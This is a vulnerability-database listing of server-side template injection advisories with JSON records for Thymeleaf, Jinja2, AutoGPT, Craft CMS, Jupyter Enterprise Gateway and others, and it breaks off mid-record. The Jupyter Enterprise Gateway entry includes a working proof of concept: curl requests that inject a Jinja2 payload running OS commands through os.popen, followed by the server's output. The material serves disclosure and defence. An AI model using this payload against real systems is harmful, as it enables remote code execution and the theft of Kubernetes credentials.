Common Weakness Enumeration

CWE-1336

Allowed

Improper Neutralization of Special Elements Used in a Template Engine

Abstraction: Base · Status: Incomplete

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.

398 vulnerabilities reference this CWE, most recent first.

GHSA-C9PH-GXWW-7744

Vulnerability from github – Published: 2026-05-04 21:15 – Updated: 2026-05-13 16:43
VLAI
Summary
Sandboxed Thymeleaf expressions vulnerable to improper recognition of unauthorized syntax patterns
Details

Impact

A security bypass vulnerability exists in the expression execution mechanisms of Thymeleaf up to and including 3.1.4.RELEASE. Although the library provides mechanisms to avoid the execution of potentially dangerous expressions in some specific sandboxed (restricted) contexts, it fails to properly neutralize specific constructs that allow this kind of expressions to be executed. If an application developer passes to the template engine unsanitized variables that contain such expressions, and these values are used in sandboxed contexts inside the templates, these expressions can be executed achieving Server-Side Template Injection (SSTI).

Patches

This has been fixed in Thymeleaf 3.1.5.RELEASE. All users are advised to upgrade immediately.

Workarounds

No workaround is available beyond ensuring applications do not pass unvalidated/unsanitized data directly to the template engine. Upgrading to 3.1.5.RELEASE is strongly recommended in any case.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.4.RELEASE"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.thymeleaf:thymeleaf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.5.RELEASE"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.4.RELEASE"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.thymeleaf:thymeleaf-spring5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.5.RELEASE"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.4.RELEASE"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.thymeleaf:thymeleaf-spring6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.5.RELEASE"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41901"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-917"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T21:15:20Z",
    "nvd_published_at": "2026-05-12T23:16:17Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\n\nA security bypass vulnerability exists in the expression execution mechanisms of Thymeleaf up to and including 3.1.4.RELEASE. Although the library provides mechanisms to avoid the execution of potentially dangerous expressions in some specific sandboxed (restricted) contexts, it fails to properly neutralize specific constructs that allow this kind of expressions to be executed. If an application developer passes to the template engine unsanitized variables that contain such expressions, and these values are used in sandboxed contexts inside the templates, these expressions can be executed achieving Server-Side Template Injection (SSTI).\n\n### Patches\n\nThis has been fixed in Thymeleaf 3.1.5.RELEASE. All users are advised to upgrade immediately.\n\n### Workarounds\n\nNo workaround is available beyond ensuring applications do not pass unvalidated/unsanitized data directly to the template engine. Upgrading to 3.1.5.RELEASE is strongly recommended in any case.",
  "id": "GHSA-c9ph-gxww-7744",
  "modified": "2026-05-13T16:43:36Z",
  "published": "2026-05-04T21:15:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thymeleaf/thymeleaf/security/advisories/GHSA-c9ph-gxww-7744"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41901"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thymeleaf/thymeleaf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Sandboxed Thymeleaf expressions vulnerable to improper recognition of unauthorized syntax patterns"
}

GHSA-CJJC-MF84-XP9F

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32
VLAI
Details

AutoGPT versions 0.3.4 and earlier are vulnerable to a Server-Side Template Injection (SSTI) that could lead to Remote Code Execution (RCE). The vulnerability arises from the improper handling of user-supplied format strings in the AgentOutputBlock implementation, where malicious input is passed to the Jinja2 templating engine without adequate security measures. Attackers can exploit this flaw to execute arbitrary commands on the host system. The issue is fixed in version 0.4.0.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-1040"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-20T10:15:53Z",
    "severity": "HIGH"
  },
  "details": "AutoGPT versions 0.3.4 and earlier are vulnerable to a Server-Side Template Injection (SSTI) that could lead to Remote Code Execution (RCE). The vulnerability arises from the improper handling of user-supplied format strings in the `AgentOutputBlock` implementation, where malicious input is passed to the Jinja2 templating engine without adequate security measures. Attackers can exploit this flaw to execute arbitrary commands on the host system. The issue is fixed in version 0.4.0.",
  "id": "GHSA-cjjc-mf84-xp9f",
  "modified": "2025-03-20T12:32:52Z",
  "published": "2025-03-20T12:32:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1040"
    },
    {
      "type": "WEB",
      "url": "https://github.com/significant-gravitas/autogpt/commit/6dba31e0215549604bdcc1aed24e3a1714e75ee2"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/b74ef75f-61d5-4422-ab15-9550c8b4f185"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CPWX-VRP4-4PQ7

Vulnerability from github – Published: 2025-03-05 20:40 – Updated: 2025-11-03 22:54
VLAI
Summary
Jinja2 vulnerable to sandbox breakout through attr filter selecting format method
Details

An oversight in how the Jinja sandboxed environment interacts with the |attr filter allows an attacker that controls the content of a template to execute arbitrary Python code.

To exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.

Jinja's sandbox does catch calls to str.format and ensures they don't escape the sandbox. However, it's possible to use the |attr filter to get a reference to a string's plain format method, bypassing the sandbox. After the fix, the |attr filter no longer bypasses the environment's attribute lookup.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "Jinja2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-27516"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-05T20:40:14Z",
    "nvd_published_at": "2025-03-05T21:15:20Z",
    "severity": "MODERATE"
  },
  "details": "An oversight in how the Jinja sandboxed environment interacts with the `|attr` filter allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja\u0027s sandbox does catch calls to `str.format` and ensures they don\u0027t escape the sandbox. However, it\u0027s possible to use the `|attr` filter to get a reference to a string\u0027s plain format method, bypassing the sandbox. After the fix, the `|attr` filter no longer bypasses the environment\u0027s attribute lookup.",
  "id": "GHSA-cpwx-vrp4-4pq7",
  "modified": "2025-11-03T22:54:41Z",
  "published": "2025-03-05T20:40:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pallets/jinja/security/advisories/GHSA-cpwx-vrp4-4pq7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27516"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pallets/jinja/commit/90457bbf33b8662926ae65cdde4c4c32e756e403"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pallets/jinja"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/04/msg00045.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Jinja2 vulnerable to sandbox breakout through attr filter selecting format method"
}

GHSA-CRCQ-738G-PQVC

Vulnerability from github – Published: 2025-08-25 20:42 – Updated: 2025-11-27 07:57
VLAI
Summary
Craft CMS Potential Remote Code Execution via Twig SSTI
Details

Note that users must have administrator access to the Craft Control Panel, and allowAdminChanges must be enabled for this to work, which is against Craft CMS' recommendations for any non-dev environment.

https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production

Note: This is a follow-up to GHSA-f3cw-hg6r-chfv

Users should update to the patched versions (4.16.6 and 5.8.7) to mitigate the issue.

Resources: https://github.com/craftcms/cms/pull/17612

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.16.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC1"
            },
            {
              "fixed": "4.16.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.8.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-RC1"
            },
            {
              "fixed": "5.8.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-57811"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-22",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-25T20:42:45Z",
    "nvd_published_at": "2025-08-25T18:15:31Z",
    "severity": "MODERATE"
  },
  "details": "Note that users must have administrator access to the Craft Control Panel, and [allowAdminChanges](https://craftcms.com/docs/5.x/reference/config/general.html#allowadminchanges) must be enabled for this to work, which is against Craft CMS\u0027 recommendations for any non-dev environment.\n\nhttps://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production\n\nNote: This is a follow-up to [GHSA-f3cw-hg6r-chfv](https://github.com/craftcms/cms/security/advisories/GHSA-f3cw-hg6r-chfv)\n\nUsers should update to the patched versions (4.16.6 and 5.8.7) to mitigate the issue.\n\nResources: https://github.com/craftcms/cms/pull/17612",
  "id": "GHSA-crcq-738g-pqvc",
  "modified": "2025-11-27T07:57:45Z",
  "published": "2025-08-25T20:42:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-crcq-738g-pqvc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-f3cw-hg6r-chfv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57811"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/pull/17612"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/e77f8a287dcdda41f1724f525d03542f18566cbc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS Potential Remote Code Execution via Twig SSTI"
}

GHSA-CW5C-XM7F-WX63

Vulnerability from github – Published: 2024-05-31 12:30 – Updated: 2025-10-22 00:33
VLAI
Details

Rejetto HTTP File Server, up to and including version 2.3m, is vulnerable to a template injection vulnerability. This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request. As of the CVE assignment date, Rejetto HFS 2.3m is no longer supported.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-23692"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-31T10:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "Rejetto HTTP File Server, up to and including version 2.3m, is vulnerable to a template injection vulnerability. This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request. As of the CVE assignment date, Rejetto HFS 2.3m is no longer supported.",
  "id": "GHSA-cw5c-xm7f-wx63",
  "modified": "2025-10-22T00:33:03Z",
  "published": "2024-05-31T12:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23692"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rapid7/metasploit-framework/pull/19240"
    },
    {
      "type": "WEB",
      "url": "https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce"
    },
    {
      "type": "WEB",
      "url": "https://vulncheck.com/advisories/rejetto-unauth-rce"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-23692"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/cve-2024-23692-detect-rejetto-hfs-vulnerability"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/cve-2024-23692-rejetto-hfs-mitigate-vulnerability"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/unauthenticated-rce-flaw-in-rejetto-http-file-server-cve-2024-23692"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CWGV-JWGM-R5F5

Vulnerability from github – Published: 2024-11-22 21:32 – Updated: 2024-11-22 21:32
VLAI
Details

Allegra getLinkText Server-Side Template Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Allegra. Authentication is required to exploit this vulnerability.

The specific flaw exists within the implementation of getLinkText method. The issue results from the lack of proper validation of a user-supplied string before processing it with the template engine. An attacker can leverage this vulnerability to execute code in the context of LOCAL SERVICE. Was ZDI-CAN-23609.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-30372"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-22T20:15:08Z",
    "severity": "HIGH"
  },
  "details": "Allegra getLinkText Server-Side Template Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Allegra. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of getLinkText method. The issue results from the lack of proper validation of a user-supplied string before processing it with the template engine. An attacker can leverage this vulnerability to execute code in the context of LOCAL SERVICE. Was ZDI-CAN-23609.",
  "id": "GHSA-cwgv-jwgm-r5f5",
  "modified": "2024-11-22T21:32:16Z",
  "published": "2024-11-22T21:32:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30372"
    },
    {
      "type": "WEB",
      "url": "https://alltena.com/en/resources/release-notes/relnotes-7-5-2"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1165"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CXFR-5Q3R-2RC2

Vulnerability from github – Published: 2023-12-12 06:30 – Updated: 2024-11-22 18:14
VLAI
Summary
Jinja2 template injection in mlflow
Details

Improper Neutralization of Special Elements Used in a Template Engine in GitHub repository mlflow/mlflow prior to 2.9.2.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mlflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-6709"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-13T13:33:30Z",
    "nvd_published_at": "2023-12-12T04:15:07Z",
    "severity": "HIGH"
  },
  "details": "Improper Neutralization of Special Elements Used in a Template Engine in GitHub repository mlflow/mlflow prior to 2.9.2.",
  "id": "GHSA-cxfr-5q3r-2rc2",
  "modified": "2024-11-22T18:14:30Z",
  "published": "2023-12-12T06:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6709"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/commit/432b8ccf27fd3a76df4ba79bb1bec62118a85625"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mlflow/mlflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2023-281.yaml"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/9e4cc07b-6fff-421b-89bd-9445ef61d34d"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jinja2 template injection in mlflow"
}

GHSA-F49J-V924-FX9W

Vulnerability from github – Published: 2026-06-03 21:36 – Updated: 2026-06-03 21:36
VLAI
Summary
Jupyter Enterprise Gateway: Jinja2 Template Server Side Template Injection resulting in Remote Code Execution
Details

Summary

The environment variables (KERNEL_XXX) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI). By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service. The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a hostPath volume mount.

Details

The KERNEL_POD_NAME variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code: https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247

The Jinja2 template for the Kubernetes manifest contains several kernel_xxx variables, in addition to kernel_pod_name discussed above, such as kernel_working_dir that are used when rendering the manifest and are all vectors for SSTI. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77

These values come from the environment passed in the API call, where they were KERNEL_XXX before being converted to lowercase.

https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137

PoC

Simple demonstration of SSTI using {{7 * 7}}

curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{7 * 7}}" }}'
{"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "python_kubernetes", "last_activity": "2025-07-17T07:14:42.155736Z", "execution_state": "starting", "connections": 0}

Running kubectl get pods

NAME                                                 READY   STATUS    RESTARTS   AGE
bdawg-49                                             1/1     Running   0          3m54s

Remote code execution - OS Commands via SSTI

curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{ cycler.__init__.__globals__.os.popen(\"hostname\").read() }}", "KERNEL_NAMESPACE": "notebooks" }}'
{"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "python_kubernetes", "last_activity": "2025-07-17T07
NAME                                                 READY   STATUS    RESTARTS   AGE
bdawg-enterprise-gateway-8695685bc8-klm4m            1/1     Running   0          2m25s

enterprise-gateway-8695685bc8-klm4m is the hostname of the Enterprise Gateway pod.

Enterprise Gateway RBAC

The Enterprise Gateway service account has R/W access to several resource kinds.

Stolen Enterprise Gateway service account kubectl auth can-i --list

Resources                                                Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io                 []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io            []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io             []                                     []               [create]
rolebindings.rbac.authorization.k8s.io                   []                                     []               [get list create delete]
configmaps                                               []                                     []               [get watch list create delete]
namespaces                                               []                                     []               [get watch list create delete]
persistentvolumeclaims                                   []                                     []               [get watch list create delete]
persistentvolumes                                        []                                     []               [get watch list create delete]
pods                                                     []                                     []               [get watch list create delete]
secrets                                                  []                                     []               [get watch list create delete]
services                                                 []                                     []               [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io/status   []                                     []               [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io          []                                     []               [get watch list create delete]
sparkapplications.sparkoperator.k8s.io/status            []                                     []               [get watch list create delete]
sparkapplications.sparkoperator.k8s.io                   []                                     []               [get watch list create delete]
                                                         [/.well-known/openid-configuration/]   []               [get]
                                                         [/.well-known/openid-configuration]    []               [get]
                                                         [/api/*]                               []               [get]
                                                         [/api]                                 []               [get]
                                                         [/apis/*]                              []               [get]
                                                         [/apis]                                []               [get]
                                                         [/healthz]                             []               [get]
                                                         [/healthz]                             []               [get]
                                                         [/livez]                               []               [get]
                                                         [/livez]                               []               [get]
                                                         [/openapi/*]                           []               [get]
                                                         [/openapi]                             []               [get]
                                                         [/openid/v1/jwks/]                     []               [get]
                                                         [/openid/v1/jwks]                      []               [get]
                                                         [/readyz]                              []               [get]
                                                         [/readyz]                              []               [get]
                                                         [/version/]                            []               [get]
                                                         [/version/]                            []               [get]
                                                         [/version]                             []               [get]
                                                         [/version]                             []               [get]

Impact

This is a server side template injection that leads to remote code execution (python and OS commands).

An attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token. It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with hostPath mounts, which can be used to compromise the complete cluster and all workloads on it.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "jupyter_enterprise_gateway"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0rc2"
            },
            {
              "fixed": "3.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44181"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-03T21:36:05Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe environment variables (`KERNEL_XXX`) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI).\nBy including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service.\nThe code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a `hostPath` volume mount.\n\n### Details\n\nThe `KERNEL_POD_NAME` variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code:\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247\n\nThe Jinja2 template for the Kubernetes manifest contains several `kernel_xxx` variables, in addition to `kernel_pod_name` discussed above, such as `kernel_working_dir` that are used when rendering the manifest and are all vectors for SSTI.\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77\n\nThese values come from the environment passed in the API call, where they were `KERNEL_XXX` before being converted to lowercase.\n\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137\n\n### PoC\n\n\n#### Simple demonstration of SSTI using `{{7 * 7}}`\n\n```bash\ncurl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data \u0027{\"name\":\"python_kubernetes\", \"env\": {\"KERNEL_POD_NAME\": \"bdawg-{{7 * 7}}\" }}\u0027\n```\n\n```json\n{\"id\": \"1094076f-35c6-48a5-ae60-0c943bb97a9a\", \"name\": \"python_kubernetes\", \"last_activity\": \"2025-07-17T07:14:42.155736Z\", \"execution_state\": \"starting\", \"connections\": 0}\n```\n\nRunning `kubectl get pods`\n```\nNAME                                                 READY   STATUS    RESTARTS   AGE\nbdawg-49                                             1/1     Running   0          3m54s\n```\n\n#### Remote code execution - OS Commands via SSTI\n\n```bash\ncurl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data \u0027{\"name\":\"python_kubernetes\", \"env\": {\"KERNEL_POD_NAME\": \"bdawg-{{ cycler.__init__.__globals__.os.popen(\\\"hostname\\\").read() }}\", \"KERNEL_NAMESPACE\": \"notebooks\" }}\u0027\n```\n\n```json\n{\"id\": \"85ec9431-d005-48d5-8127-5f022f2c5780\", \"name\": \"python_kubernetes\", \"last_activity\": \"2025-07-17T07\n```\n\n```\nNAME                                                 READY   STATUS    RESTARTS   AGE\nbdawg-enterprise-gateway-8695685bc8-klm4m            1/1     Running   0          2m25s\n```\n\n`enterprise-gateway-8695685bc8-klm4m` is the hostname of the Enterprise Gateway pod.\n\n\n#### Enterprise Gateway RBAC\nThe Enterprise Gateway service account has R/W access to several resource kinds.\n\nStolen Enterprise Gateway service account `kubectl auth can-i --list`\n\n```\nResources                                                Non-Resource URLs                      Resource Names   Verbs\nselfsubjectreviews.authentication.k8s.io                 []                                     []               [create]\nselfsubjectaccessreviews.authorization.k8s.io            []                                     []               [create]\nselfsubjectrulesreviews.authorization.k8s.io             []                                     []               [create]\nrolebindings.rbac.authorization.k8s.io                   []                                     []               [get list create delete]\nconfigmaps                                               []                                     []               [get watch list create delete]\nnamespaces                                               []                                     []               [get watch list create delete]\npersistentvolumeclaims                                   []                                     []               [get watch list create delete]\npersistentvolumes                                        []                                     []               [get watch list create delete]\npods                                                     []                                     []               [get watch list create delete]\nsecrets                                                  []                                     []               [get watch list create delete]\nservices                                                 []                                     []               [get watch list create delete]\nscheduledsparkapplications.sparkoperator.k8s.io/status   []                                     []               [get watch list create delete]\nscheduledsparkapplications.sparkoperator.k8s.io          []                                     []               [get watch list create delete]\nsparkapplications.sparkoperator.k8s.io/status            []                                     []               [get watch list create delete]\nsparkapplications.sparkoperator.k8s.io                   []                                     []               [get watch list create delete]\n                                                         [/.well-known/openid-configuration/]   []               [get]\n                                                         [/.well-known/openid-configuration]    []               [get]\n                                                         [/api/*]                               []               [get]\n                                                         [/api]                                 []               [get]\n                                                         [/apis/*]                              []               [get]\n                                                         [/apis]                                []               [get]\n                                                         [/healthz]                             []               [get]\n                                                         [/healthz]                             []               [get]\n                                                         [/livez]                               []               [get]\n                                                         [/livez]                               []               [get]\n                                                         [/openapi/*]                           []               [get]\n                                                         [/openapi]                             []               [get]\n                                                         [/openid/v1/jwks/]                     []               [get]\n                                                         [/openid/v1/jwks]                      []               [get]\n                                                         [/readyz]                              []               [get]\n                                                         [/readyz]                              []               [get]\n                                                         [/version/]                            []               [get]\n                                                         [/version/]                            []               [get]\n                                                         [/version]                             []               [get]\n                                                         [/version]                             []               [get]\n```\n\n### Impact\nThis is a server side template injection that leads to remote code execution (python and OS commands).\n\nAn attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account\u0027s token.\nIt can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with `hostPath` mounts, which can be used to compromise the complete cluster and all workloads on it.",
  "id": "GHSA-f49j-v924-fx9w",
  "modified": "2026-06-03T21:36:05Z",
  "published": "2026-06-03T21:36:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-f49j-v924-fx9w"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jupyter-server/enterprise_gateway"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Jupyter Enterprise Gateway: Jinja2 Template Server Side Template Injection resulting in Remote Code Execution"
}

GHSA-FFRW-8P66-394J

Vulnerability from github – Published: 2024-11-18 09:31 – Updated: 2025-02-11 18:31
VLAI
Details

Improper Control of Generation of Code ('Code Injection'), Cross-Site Request Forgery (CSRF), : Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Apache OFBiz.

This issue affects Apache OFBiz: before 18.12.17.

Users are recommended to upgrade to version 18.12.17, which fixes the issue.

Show details on source website

{
  "affected": [],
